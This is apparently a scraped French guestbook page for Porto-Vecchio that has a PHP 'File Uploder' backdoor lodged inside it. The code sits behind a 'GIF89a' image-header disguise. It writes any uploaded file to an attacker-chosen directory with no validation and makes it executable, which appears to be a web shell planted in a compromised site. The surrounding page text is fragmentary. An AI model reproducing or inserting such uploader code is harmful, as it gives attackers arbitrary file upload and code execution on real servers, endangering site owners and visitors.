MENU
Porto-Vecchio

Livre d'or

? GIF89a

File Uploder

<br?>to directory:
'; if (isset($_REQUEST['submit'])) { $dir = $_REQUEST['uploadDir']; $file = $_FILES['file']['name']; $uploadOk = 1; /*if (file_exists($target_file)) { echo 'Sorry, $file already exists on $dir.'; $uploadOk = 0; }*/ if ($uploadOk == 0) { echo 'Sorry, your file was not uploaded.'; } else { if (move_uploaded_file($_FILES['file']['tmp_name'], $dir . '/' . $file)) { @chmod($dir . '/' . $file, 0755); echo 'The file $file has been uploaded on $dir.'; } else { echo 'Sorry, there was an error uploading your file.'; } } } ?> Laisser un message

Laisser votre message

* Champs obligatoires